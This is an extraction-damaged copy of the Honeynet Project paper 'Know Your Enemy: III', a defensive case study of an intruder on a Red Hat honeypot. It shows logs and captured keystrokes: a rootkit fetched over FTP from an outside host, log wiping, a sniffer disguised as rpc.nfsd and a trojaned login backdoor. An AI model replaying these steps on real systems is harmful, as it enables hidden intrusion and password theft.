05.12.

13

Know Your Enemy: III

Know Your Enemy: III

They Gain Root
Honeynet Project http://project.honeynet.org

Last Modified: 27 March, 2000

This article is the third of a series focusing on the script kiddie. The first paper focuses on how script kiddies probe for, identify, and exploit vulnerabilities. The second paper focuses on how you can detect these attempts, identify what tools they are using and what vulnerabilities they are looking for. This paper, the third, focuses on what happens once they gain root. Specifically, how they cover their tracks and what they do next. You can download the actual raw data used for this paper here.

Who is the script kiddie

As we learned in the first paper, the script kiddie is not so much a person as it is a strategy, the strategy of probing for the easy kill. One is not searching for specific information or targeting a specific company, the goal is to gain root the easiest way possible. Intruders do this by focusing on a small number of exploits, and then searching the entire Internet for that exploit. Do not underestimate this strategy, sooner or later they find someone vulnerable. Once they find a vulnerable system and gain root, their first step is normally to cover their tracks. They want to ensure you do not know your system was hacked and cannot see nor log their actions. Following this, they often use your system to scan other networks, or silently monitor your own. To gain a better understanding of how they accomplish these acts, we are going to follow the steps of a system compromised by an intruder using script kiddie tactics. Our system, called mozart, is a Linux box running Red Hat 5.1. The system was compromised on April 27, 1999. Below are the actual steps our intruder took, with system logs and keystrokes to verify each step. All system logs were recorded to a protected syslog server, all keystrokes were captured using sniffit. For more information on how this information was captured, check out To Build a Honeypot". Throughout this paper our intruder is refered to as he, however we have no idea what the true gender of the intruder is.

The Exploit
On 27 April, at 00:13 hours, our network was scanned by the system 1Cust174.tnt2.long-branch.nj.da.uu.net for several vulnerabilities, including imap. Our intruder came in noisy, as every system in the network was probed (for more information on detecting and analyzing scans, please see the second paper of this series). A p r2 70 0 : 1 2 : 2 5m o z a r ti m a p d [ 9 3 9 ] :c o n n e c tf r o m2 0 8 . 2 5 2 . 2 2 6 . 1 7 4 A p r2 70 0 : 1 2 : 2 7b a c hi m a p d [ 1 1 9 0 ] :c o n n e c tf r o m2 0 8 . 2 5 2 . 2 2 6 . 1 7 4 A p r2 70 0 : 1 2 : 3 0v i v a l d ii m a p d [ 1 2 2 5 ] :c o n n e c tf r o m2 0 8 . 2 5 2 . 2 2 6 . 1 7 4 Apparently he found something he liked and returned at 06:52 and 16:47 the same day. He started off with a more thorough scan, but this time focusing only on mozart. He identified a weakness and launched a successful attack against mountd, a commonly known vulnerability for Red Hat 5.1. Here we see in /var/log/messages the intruder gaining root. The tool used was most likely ADMmountd.c, or something similar to it. A p r2 71 6 : 4 7 : 2 8m o z a r tm o u n t d [ 3 0 6 ] :U n a u t h o r i z e da c c e s sb yN F Sc l i e n t 2 0 8 . 2 5 2 . 2 2 6 . 1 7 4 . A p r2 71 6 : 4 7 : 2 8m o z a r ts y s l o g d :C a n n o tg l u em e s s a g ep a r t st o g e t h e r A p r2 71 6 : 4 7 : 2 8m o z a r tm o u n t d [ 3 0 6 ] :B l o c k e da t t e m p to f2 0 8 . 2 5 2 . 2 2 6 . 1 7 4t om o u n t ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ P ~ Immediately following this exploit, we see in /var/log/messages our intruder gaining root by telneting in as the user crak0, and then su to the user rewt. Both of these accounts were added by the exploit script. Our intruder now
old.honeynet.org/papers/enemy3/ 1/4

05.12.13

Know Your Enemy: III

has total control of our system. A p r2 71 6 : 5 0 : 2 7m o z a r tl o g i n [ 1 2 3 3 ] :F A I L E DL O G I N2F R O M1 C u s t 1 0 2 . t n t 1 . l o n g b r a n c h . n j . d a . u u . n e tF O Rc r a k ,U s e rn o tk n o w nt ot h eu n d e r l y i n ga u t h e n t i c a t i o n m o d u l e A p r2 71 6 : 5 0 : 3 8m o z a r tP A M _ p w d b [ 1 2 3 3 ] :( l o g i n )s e s s i o no p e n e df o ru s e rc r a k 0b y ( u i d = 0 ) A p r2 71 6 : 5 0 : 3 8m o z a r tl o g i n [ 1 2 3 3 ] :L O G I NO Nt t y p 0B Yc r a k 0F R O M 1 C u s t 1 0 2 . t n t 1 . l o n g b r a n c h . n j . d a . u u . n e t A p r2 71 6 : 5 0 : 4 7m o z a r tP A M _ p w d b [ 1 2 4 7 ] :( s u )s e s s i o no p e n e df o ru s e rr e w tb y c r a k 0 ( u i d = 0 )

Covering Their tracks

The intruder is now on our system as root. As we are now about to see, the next step for him is to make sure he does not get caught. First, he checks to see if anyone else is on the system. [ c r a k 0 @ m o z a r t/ t m p ] $w 4 : 4 8 p m u p1d a y ,1 8 : 2 7 , 1u s e r , l o a da v e r a g e :0 . 0 0 ,0 . 0 0 ,0 . 0 0 U S E R T T Y F R O M L O G I N @ I D L E J C P U P C P U W H A T c r a k 0 t t y p 0 1 C u s t 1 0 2 . t n t 1 . l o 4 : 4 8 p m 0 . 0 0 s 0 . 2 3 s 0 . 0 4 s w After making sure the coast is clear, he will want to hide all of his actions. This normally entails removing any evidence from the logs files and replacing system binaries with trojans, such as ps or netstat, so you cannot see the intruder on your own system. Once the trojans are in place, the intruder has gained total control of your system and you will most likely never know it. Just as there are automated scripts for hacking, there are also automated tools for hiding intruders, often called rootkits. One of the more common rootkits is lrk4. By executing the script, a variety of critical files are replaced, hiding the intruder in seconds. For more detailed information on rootkits, see the README that comes with lrk4. This will give you a better idea how rootkits work in general. I also recommend you check out hide-and-seek, a black-hat paper on covering your tracks. Within minutes of compromising our system, we see the intruder downloading the rootkit and then implementing the script with the command "m a k ei n s t a l l ". Below are the actual keystrokes the intruder typed to hide himself. c d/ d e v / s ur e w t m k d i r" ." c d" ." f t pt e c h n o t r o n i c . c o m a n o n y m o u s f d f s f d s d f s s d @ a o l . c o m c d/ u n i x / t r o j a n s g e tl r k 4 . u n s h a d . t a r . g z q u i t l s t a rz x v fl r k 4 . u n s h a d . t a r . g z m vl r k 4p r o c m vp r o c" ." c d" ." l s m a k ei n s t a l l Notice the first thing that our intruder did, he created the hidden directory ". " to hide his toolkit. This directory does not show up with the "l s " command, and looks like the local directory with "l sl a " command. One way you can locate the directory is with the "f i n d " command (be sure you can trust the integrity of your "f i n d " binary). m o z a r t# f i n d/d e p t hn a m e" * . * " / v a r / l i b / n e w s / . n e w s . d a i l y / v a r / s p o o l / a t / . S E Q
old.honeynet.org/papers/enemy3/ 2/4

05.12.13

Know Your Enemy: III

/ d e v / ./ ./ p r o c p s 1 . 0 1 / p r o c / . d e p e n d / d e v / ./ . / d e v / Our intruder may have been somewhat sophisticated in using trojan binaries, but had a simpler approach to cleaning the logs files. Instead of using cleaning tools such as zap2 or clean, he copied /dev/null to the files /var/run/utmp and /var/log/utmp, while deleting /var/log/wtmp. You know something is wrong when these logs files contain no data, or you get the following error: [ r o o t @ m o z a r ts b i n ] #l a s t1 0 l a s t :/ v a r / l o g / w t m p : N os u c hf i l eo rd i r e c t o r y P e r h a p st h i sf i l ew a sr e m o v e db yt h eo p e r a t o rt op r e v e n tl o g g i n gl a s ti n f o .

The Next Step

Once a system has been compromised, intruders tend to do one of two things. First, they use your system as a launching pad and scan or exploit other systems. Second, they decided to lay low and see what they can learn about your system, such as accounts for other systems. Our intruder decided for option number two, lay low and see what he could learn. He implemented a sniffer on our system that would capture all of our network traffic, including telnet and ftp sessions to other systems. This way he could learn logins and passwords. We see the sytem going into promiscuous mode in /var/log/messages soon after the compromise. A p r2 71 7 : 0 3 : 3 8m o z a r tk e r n e l :e t h 0 :S e t t i n gp r o m i s c u o u sm o d e . A p r2 71 7 : 0 3 : 4 3m o z a r tk e r n e l :e t h 0 :S e t t i n gp r o m i s c u o u sm o d e . After implementing the trojan binaries, clearning the log files, and starting the sniffer, our intruder disconnected from the system. However, we will see him returning the next day to find what traffic he captured.

Damage Control
Since our friend had disconnected, this gave me a chance to review the system and see what exactly happened. I was extremely interested to see what was altered, and where he was logging the sniffer information. First, I quickly identified with tripwire which files were modified. Note, make sure you run tripwire from a valid source. I like to run a statically-linked version of tripwire from a read-only floppy. Tripwire showed the following. a d d e d : r w r r -r o o t a d d e d : r w r r -r o o t c h a n g e d :r w s x xr o o t c h a n g e d :d r w x r x r xr o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :r s r s r xr o o t c h a n g e d :r x r x r xr o o t c h a n g e d :r x r x r xr o o t c h a n g e d :r w s s xr o o t c h a n g e d :r w s s xr o o t c h a n g e d :d r w x r x r xr o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :r w x r x -r o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :d r w x r x r xr o o t c h a n g e d :r w x r x r xr o o t c h a n g e d :r w r r -r o o t 5A p r2 71 7 : 0 1 : 1 61 9 9 9/ u s r / s b i n / s n i f f . p i d 2 7 2A p r2 71 7 : 1 8 : 0 91 9 9 9/ u s r / s b i n / t c p . l o g 1 5 5 8 8J u n 10 5 : 4 9 : 2 21 9 9 8/ b i n / l o g i n 2 0 4 8 0A p r1 01 4 : 4 4 : 3 71 9 9 9/ u s r / b i n 5 2 9 8 4J u n1 00 4 : 4 9 : 2 21 9 9 8/ u s r / b i n / f i n d 1 2 6 6 0 0A p r2 71 1 : 2 9 : 1 81 9 9 8/ u s r / b i n / p a s s w d 4 7 6 0 4J u n 31 6 : 3 1 : 5 71 9 9 8/ u s r / b i n / t o p 9 7 1 2M a y 10 1 : 0 4 : 4 61 9 9 8/ u s r / b i n / k i l l a l l 1 1 6 3 5 2J u n 12 0 : 2 5 : 4 71 9 9 8/ u s r / b i n / c h f n 1 1 5 8 2 8J u n 12 0 : 2 5 : 4 71 9 9 8/ u s r / b i n / c h s h 4 0 9 6A p r2 71 7 : 0 1 : 1 61 9 9 9/ u s r / s b i n 1 3 7 8 2 0J u n 50 9 : 3 5 : 0 61 9 9 8/ u s r / s b i n / i n e t d 7 2 2 9N o v2 60 0 : 0 2 : 1 91 9 9 8/ u s r / s b i n / r p c . n f s d 1 7 0 4 6 0A p r2 40 0 : 0 2 : 1 91 9 9 8/ u s r / s b i n / i n . r s h d 2 3 5 5 1 6A p r 42 2 : 1 1 : 5 61 9 9 9/ u s r / s b i n / s y s l o g d 1 4 1 4 0J u n3 01 4 : 5 6 : 3 61 9 9 8/ u s r / s b i n / t c p d 2 0 4 8A p r 41 6 : 5 2 : 5 51 9 9 9/ s b i n 1 9 8 4 0J u l 91 7 : 5 6 : 1 01 9 9 8/ s b i n / i f c o n f i g 6 4 9A p r2 71 6 : 5 9 : 5 41 9 9 9/ e t c / p a s s w d

As you can see, a variety of binaries and files were modified. There were no new entries in /etc/passwd (wisely, he had removed the crak0 and rewt accounts), so our intruder must have left a backdoor in one of the modified binaries. Also, two files were added, /usr/sbin/sniff.pid and /usr/sbin/tcp.log. Not suprisingly, /usr/sbin/sniff.pid was the pid of the sniffer, /usr/sbin/tcp.log was where he was storing all of his captured information. Based on
old.honeynet.org/papers/enemy3/ 3/4

05.12.13

Know Your Enemy: III

/usr/sbin/sniff.pid, the sniffer turned out to be rpc.nfsd. Our intruder had compiled a sniffer, in this case linsniffer, and replaced rpc.nfsd with it. This ensured that if the system was rebooted, the sniffer would be restarted by the init process. Strings confirms rpc.nfsd is the sniffer: m o z a r t# s t r i n g s/ u s r / s b i n / r p c . n f s d|t a i l1 5 c a n tg e tS O C K _ P A C K E Ts o c k e t c a n tg e tf l a g s c a n ts e tp r o m i s c u o u sm o d e -[ C A P L E NE x c e e d e d ] -[ T i m e dO u t ] -[ R S T ] -[ F I N ] % s= > % s[ % d ] s n i f f . p i d e t h 0 t c p . l o g c a n to p e nl o g r m% s After reviewing the system and understanding what happened, I left the system alone. I was curious to see what the intruder's next steps would be. I did not want him to know that I had caught him, so I removed all of my entries from /usr/sbin/tcp.log.

The Script Kiddie Returns

The following day our friend returned. By logging his keystrokes, I quickly identified the backdoor, /bin/login was trojaned. This binary, used for telnet connections, was configured to allow the account "rewt" root privileges with the password "satori". The password "satori" is the default password for all trojaned binaries that the rootkit lrk4 uses, a giveaway that your system may have been compromised. The intruder was checking on his sniffer to ensure it was still functioning. Also, he wanted to confirm if any accounts were captured since the previous day. You can review his keystrokes at keystrokes.txt. Notice at the bottom of the log our intruder kills the sniffer. This was the last thing he did before terminating the session. However, he quickly returned several minutes later with another session, only to start the sniffer again. I'm not exactly sure why he did this. This process of checking the system continued for several days. Every day the intruder would connect to the system to confirm the sniffer was running and if it had captured any valuable data. After the fourth day, I decided that this was enough and disconnected the system. I had learned enough from the intruder's actions and was not going to learn anything new.

Conclusion
We have seen in this paper how an intruder may act , from start to finish, once they gain root on your system. They often begin by checking to see if anyone is on the system. Once they know the coast is clear, they cover their tracks by clearing the logfiles and replacing or modifying critical files. Once they are safely hidden, they move onto new and more damaging activities. These tactics are here to stay, as new exploits are constantly being discovered. To better protect yourself against these threats, I recommend you armor your systems. Basic armoring will protect against most script kiddie threats, as they normally go for the easy kill. For ideas on how to armor your system, check out Armoring Linux or Armoring Solaris. If it is to late and you feel your system has already been compromised, a good place to start is CERT's site "Recovering from an Incident" .

old.honeynet.org/papers/enemy3/

4/4